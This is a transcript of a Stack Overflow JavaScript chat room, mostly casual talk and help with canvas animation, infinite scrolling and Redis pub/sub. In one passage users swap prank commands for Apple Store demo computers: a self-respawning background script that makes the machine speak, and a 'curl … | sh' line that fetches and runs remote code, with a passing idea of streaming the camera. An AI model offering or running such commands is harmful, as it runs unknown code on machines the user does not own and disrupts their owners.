« first day (1407 days earlier)      last day (3544 days later) » 

user2620028
7:00 PM
A more intuitive search to ease your searching pains.
 
user2620028
:P
 
user2620028
intuitive and predictive are good words to use.... if they fit the scenario
 
7:23 PM
0
Q: Testing Bluebird Promises with Nodejs Vows (BDD)

Enrique PinedaI'm having trouble with how to properly structure a test for my Promise-returning API with Vows, e.g. topic:function() { return myfunc() { /* returns a Bluebird Promise */ } }, 'this should keep its promise':function(topic) { var myfunc = topic; myfunc() .then(function(result) { ...

 
7:37 PM
user image
2
wtf apple ?
 
@AbhishekHingnikar that is pure gold, IMO.
hell why am I not sleeping at 1:08 AM??
 
@AwalGarg welcome to js room, I usually stay up till 4 am
 
@m59 ping
 
probably my touch enabled screen is confusing them
 
7:40 PM
@AbhishekHingnikar and if my mum rises... ooh!
 
So I have some time today and I'm itching to code. Project suggestions?
 
@AwalGarg I don't live with my parents
@SomeKittensUx2666 swarm logic ?
 
@AbhishekHingnikar me iz jealous of u (kinda)
 
translate::
 
@AbhishekHingnikar ..?
 
7:41 PM
:
 
2d/3d map drawable by user (or random generated), swarm that finds path and avoids collision with other objects of its type.
maybe add opponents too :3 fight fight fight :D
 
@SomeKittensUx2666 make a project suggestions generator. :D
 
@SomeKittensUx2666 future use.
 
methinks something canvas
 
!!>18734.2940|0
 
7:42 PM
@ÖmerBucak 18734
 
make something which keeps me reminding that I have to blink my eyes every minute.
 
that's @rlemon's department
 
@SomeKittensUx2666 check 1:11 in the video. i think thats pretty leet
 
user image
3
 
make a programming language that does not suck. :P
 
woah!
 
@rlemon how??? just how can I get that oneboxed in the star queue??? pin it please!!
 
@rlemon what about it ?
 
2 mins ago, by Awal Garg
make something which keeps me reminding that I have to blink my eyes every minute.
 
xD
 
7:45 PM
x_x
 
@rlemon is faster than a 3d printer :D
that was just 2 minutes ago lol.
@AbhishekHingnikar in that gif, you are really looking like Nirmal Baba xD
 
@AwalGarg nah he pre-catches
 
@AbhishekHingnikar you are you are looking like him. ask someone sitting around you, if you don't trust me :D
 
@SomeKittensUx2666 Git client
 
@Zirak oooh
@rlemon can haz link to canvas animation demo?
 
7:53 PM
gameofdrones.biz/#!store/cxyw <- wait why are these guys NOT building military drones ?
 
@SomeKittensUx2666 which one
 
lololol I can't think and make something better than this in 3 minutes and 45 seconds (while playing an old flash game too)... yay!
 
Is it safe to use Object.create in all modern browsers, or should we still be doing this: if (typeof Object.beget !== 'function') {
     Object.beget = function (o) {
         var F = function () {};
         F.prototype = o;
         return new F();
     };
}
 
@rlemon any one that's basic
 
I'd prefer Object.create over that for ovious reasons
 
m59
7:58 PM
@SomeKittensUx2666 yo
 
@m59 how's life?
 
@JohnMerlino Yes. It's part of ES5.
 
m59
Good, you?
 
also good
doing better with work?
 
@Zirak I know its part of EcmaScript 5. I watched the interview with Crawford. But is inertnet explorer, safari, firefox, chrome, and the endless list all supporting ES5?
 
m59
7:59 PM
I never know haha. I'm doing the best I can =D
 
@JohnMerlino First, his name is Crockford. Second, yes, latest versions support it.
 
@rlemon codepen.io/darkyen/pen/wIylp can u think of anything better in it ?
 
I think it's IE9+
 
@JohnMerlino All modern browsers, and Internet Explorer too.
 
8:08 PM
something is really wrong with all apple websites
only on the google browser though
 
talking about apple
I went into munich's apple store today
I was really vomiting rainbows
 
they let you freely try the computers there
so I tried to load dastul (that extremly-laggy terraria-like game of mine)
and... boom: it was completely smooth
less than a second to generate a world
really smooth movements
that was like their newest netbook or something like that
(macBook air?? really not sure about anything going on in apple)
I'm not saying I want one, but I want one
also, I kinda fixed my path problem
 
it'd be the MBA
/me gets a top-level MBP for work
it's BEAUTIFUL
 
added canvas .rotate, .translateX, .translateY and translate
@SomeKittensUx2666 really?
 
8:30 PM
@towc was it really really thin or really thin ?
really really thin - mba
really thin - mbp
 
like, really really really thin
 
@towc yep!
 
@towc that was a macbook air
 
yay! guessed right
 
ps my friend plays DOTA on macbook air and runs visual studio inside windows inside a system emulator its decently powerful but mbp is even more power packed.
 
8:34 PM
My hobby: Go to Apple's Stores. Run echo 'say "penis";sleep 30;nohup ./a&'>a;chmod +x a;nohup ./a&
6
 
m59
@SomeKittensUx2666 I've found a way to consistently trigger that express logout issue. If I spam refresh really quickly, I get logged out after 6 refreshes. So weird.
 
@m59 ...huh
express 4?
 
m59
err, I meant passport
 
@copy I can still do it tomorrow... is that command prompt?
 
8:38 PM
Here short curl copy.sh/yay|sh
 
can you add a CSS sheet to a website only on the current page temporarily? (and locally; only for one user)
 
@copy thats golden :D
@copy why not add sleep 1000 to escape safely ?
 
@AbhishekHingnikar Sure, whatever you feel like
 
You can also start safari with a pron site or whatever you want
 
8:40 PM
xD
 
@copy is that a link?
 
Originally we (credits to @BadgerGirl) would just open http://listenonrepeat.com/watch/?v=uqcyDA2L5L0 in Safari and run, but we've perfectioned our technique over the time
 
also, bought a cooling pad for my pc and a raspberry pi protection cage
 
@towc No, you type that in a Terminal
 
m59
@SomeKittensUx2666 yay! found it!
 
8:43 PM
is there a shortcut for the terminal on mac?
 
m59
The initial ajax call to the server to verify the session gets rejected sometimes (like when you spam refresh) and that was triggering my call to logout().
just need to add a check for the status code that it was in fact an expired session
 
@towc cmd + space then the letters term then enter
 
ok, if I get there tomorrow I'll try it XD
    cmd + space + 'term' + enter + 'curl copy.sh/yay|sh' + enter
optional: stream content of camera
 
And close the terminal
 
@rlemon so you're creating sub-canvases for each point?
 
8:51 PM
is it possible to make PART of a form uneditable or unchangable?
 
readonly
 
(part of an input, is what I mean)
 
@AbhishekHingnikar kinda looks like this codepen.io/MateiGCopot/pen/vrzHc
 
Remember the old content, compare with the new content and revert if something uneditable was changed
 
Oh I basically want this:
// here is some data
@import "thing"

// person can only edit past this comment
 
8:53 PM
@towc wow
 
@AbhishekHingnikar this is actually one of my first canvas animations XD
 
time for some randomness
@towc that one is my girlfriends first canvas animation ... though i changed it a lot x)
 
this is the original, just changed it a while ago and penned it to fit it into my new site's design copot.eu/matei/canvas/storm
@AbhishekHingnikar oh, she's good!
 
@SomeKittensUx2666 more often drawImage is faster than anything else
 
8:58 PM
@rlemon hmm?
 
on a render loop
 
Oh, wait, found it
/me reads up on drawImage
 
zork.asuscomm.com:7777/tanks most realistic tank simulator to date
 
canvas element is an image resource (or treated as one)
 
@rlemon oooohhhhh
so close enough
 
8:59 PM
in that demo it isn't much of a difference, but for more complicated stuff it is
 
dont' click and drag just watch
you'll see small white blocks fire in and explode
you should do it like that :P
 
@AbhishekHingnikar is this like the most primitive version or something?
 
a challenger approaches!
 
9:02 PM
@towc na-uh am just making it look like angrish lol
 
oh, XD
 
@SomeKittensUx2666 This is Alec Witcher, I need to re-add you on steam i wiped my friends list and forgot to keep you added
 
ohai
things are about to get steamy
 
m59
Anyone know the name of this format? 2014-07-10 00:00:00
 
!!youtube battleblock theater steam launch
 
9:04 PM
 
@AbhishekHingnikar I don't see where you're clearing the previous frame
nvm
 
@copy haha <3
 
SomeKittens, I think I added the right acc ( cat with explosions behind it)
 
also, this one:
@deadbeef yep
 
@AbhishekHingnikar codepen.io/MateiGCopot/pen/nyxaG :D
 
9:08 PM
@towc what did you change ?
 
@AbhishekHingnikar on render, instead of clearRect (which I didn't even know existed) I did some other stuff
 
@towc try globalcompositeoperation = lighter
 
what's that?
 
search for it :->
 
oh right! I've read about it in simon sarris' book
 
9:12 PM
@rlemon how do I set the background of canvas?
var canvas = document.getElementById('canvas'),
  context = canvas.getContext('2d'),
  height = canvas.height = document.body.offsetHeight,
  width = canvas.width = document.body.offsetWidth,
  dtime = Date.now(),
  timing = 1000;

context.fillStyle = 'rgb(100,100,100)';
context.fillRect(0, 0, height, width);
is not workingeth
 
@SomeKittensUx2666 when you change canvas.height or canvas.width, the context doesn't work
var canvas = document.getElementById('canvas'),
  height = canvas.height = document.body.offsetHeight,
  width = canvas.width = document.body.offsetWidth,
  context = canvas.getContext('2d'),
  dtime = Date.now(),
  timing = 1000;

context.fillStyle = 'rgb(100,100,100)';
context.fillRect(0, 0, height, width);
that should work
 
In case there are dfferent people here now - any help with webmasters.stackexchange.com/q/68415/29330 would be really appreciated.
 
I just moved the setting of context after the height and width settings
 
@BenjaminGruenbaum Still not resolved?
 
9:16 PM
@BenjaminGruenbaum I haven't got the slightest of ideas of what does that mean
 
Hi guys
 
@RussianVodka Welcome to the JavaScript chat! Please review the room pseudo-rules. Please don't ask if you can ask or if anyone's around; just ask your question, and if anyone's free and interested they'll help.
 
hi guy
 
Did u ever made a lazy-load?
 
@BenjaminGruenbaum Any luck with the ticket you opened?
 
9:17 PM
@RussianVodka Please avoid abbreviations such as "u" here. Also, please explain what you mean by "lazy-load".
@SecondRikudo not yet
 
Ok. I mean... dynamicly loading html when scrolling down with ajax...
 
Infinite scrolling?
 
yep
I have some problems with js part here...
All works only when i'm scrolling and refreshing the page at the same time...
 
m59
myElement.addEventListener('scroll', function(e) {
  if (reachedEnd(myElement, offsetPercent)) {
    myCallback();
  }
});

function reachedEnd(element, endOffsetPercent) {
  var endOffsetPx = endOffsetPercent ? (endOffsetPercent / 100) * element.clientHeight : 0;
  var endScrollTop = element.scrollHeight - element.clientHeight;
  var maxScrollTop = endScrollTop - endOffsetPx;
  return element.scrollTop >= maxScrollTop;
}
Somethine like that?
 
9:24 PM
@BenjaminGruenbaum 0-10 how would you rate express?
(as in express)
 
@SecondRikudo 9/10 very useful package.
 
@SecondRikudo it's the de-facto standard framework for Node
 
Added to my package.json then.
 
@m59 I'm really just a noob in JS. It wasn't my job... But it needs to be done... So...
 
@RussianVodka I don't understand what you're trying to imply here.
!!stat RussianVodka
 
9:26 PM
@SomeKittensUx2666 That dude sucks
 
m59
lol
 
@SomeKittensUx2666 RussianVodka (http://stackoverflow.com/users/3190596/russianvodka) has 44 reputation, earned 0 rep today, asked 13 questions, gave 2 answers, for a q:a ratio of 13:2.
avg. rep/post: 2.93. Badges: 0g 0s 5b
 
m59
@RussianVodka Yeah, I have no idea what you meant just now.
 
hi guys, do you think this is the right approach? every user will subscribe to the Redis "post/post_id" channel through pubsub functionality, when another user replies to the post in the page the user's in, that other user will update the database with another reply and at the same time publish to "post/post_id". every user subscribed to that channel will see the reply added in real time
what do you think? it's efficient?
 
9:30 PM
Yep, that's pretty much what Redis pub/sub is for
 
!!stat BenjaminGruenbaum
 
@BenjaminGruenbaum You (http://stackoverflow.com/users/1348195/benjamin-gruenbaum) have 46112 reputation, earned 65 rep today, asked 54 questions, gave 933 answers, for a q:a ratio of 18:311.
avg. rep/post: 46.71. Badges: 14g 86s 156b
 
SomeKittensUx2666 cool! just thought I was doing it wrong and that there was some overhead in involving Redis pubsub
I had a lot of luck today lol .. I bought again the domain expired a few years ago and put on auction
w/e going back to work :D
 
@m59 I meant... emm... Nevermind...
 
@RussianVodka If you need help, we're willing to give it. Where's your code going wrong?
 
what's with all the alerts?
 
@towc lol tell me about it :D
 
@BenjaminGruenbaum am I missing something?
@AbhishekHingnikar use those colors:
['#ff0000', '#ff7f00', '#ffff00', '#00ff00', '#0000ff', '#4b0082', '#8b00ff']
 
@towc just wait ;-)
i am also adding allied effect :3
 
allied?
 
9:40 PM
Oh my god, I just realized Archer and Arrested Development have the same cast :O This is awesome.
 
@towc did that ;-)
 
@SomeKittensUx2666 sorted?
 
@rlemon not really.
 
whats the issue?
 
9:46 PM
@SomeKittensUx2666 didn't the solution I gave you work?
 
@rlemon I'm in the middle of some other stuff, lemme ping you later
if that's ok
 
yea
 
swag is for boys, class is for men.
 
lol
 
unless you have a lot of swag
 

« first day (1407 days earlier)      last day (3544 days later) »